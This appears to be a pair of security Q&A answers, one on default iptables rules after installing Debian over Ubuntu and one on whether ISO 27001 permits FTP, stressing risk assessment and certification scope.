It is common for a new installation of a Linux distribution to have iptables installed or even enabled without rules in place; adding the rules is left to the system owner, who knows which services they need to expose and which they need to protect.

If you installed Debian where Ubuntu had been installed before, then it will have the configuration of a fresh Debian install; it will not carry forward the Ubuntu configurations that were in place.


Does ISO 27001 allow a company to use FTP?

ISO 27001 does not specify which protocols should be used and how they should be used, it specifies how an organization should structure its information security apparatus. An ISO 27001 certified organization must have policies in place and procedures to make sure the policies are adhered to.

ISO 27001 also has a scope which is defined by the organization which can make an enormous difference on the impact of the certification. A certification which covers the network enabled coffee machine is a bit different from one which covers the entire business. The ISO 27001 certification in the case of your question may not have the FTP server in scope.

FTP is perfectly acceptable to use in cases where the data transferred is public, or there are other controls in place to protect the data. If the data is encrypted before transit and there is a good verification system to ensure the data is not tampered with then sending it over a non-encrypted channel is ok. From an ISO 27001 perspective if the organization has performed a risk assessment and gone through a process to mitigate the risk then it's done what it is supposed to do.